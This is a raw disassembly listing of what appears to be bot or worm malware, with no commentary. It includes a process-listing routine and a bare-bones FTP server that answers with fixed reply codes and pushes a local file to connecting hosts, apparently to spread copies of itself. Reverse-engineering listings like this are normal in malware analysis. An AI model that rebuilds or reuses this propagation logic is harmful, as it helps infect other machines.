		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_5118D8


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_444FFC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_5118D8


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF0
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FE8
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_444FDC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	aD+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:00442504o
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5F285B
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2820269h


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E8E99, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
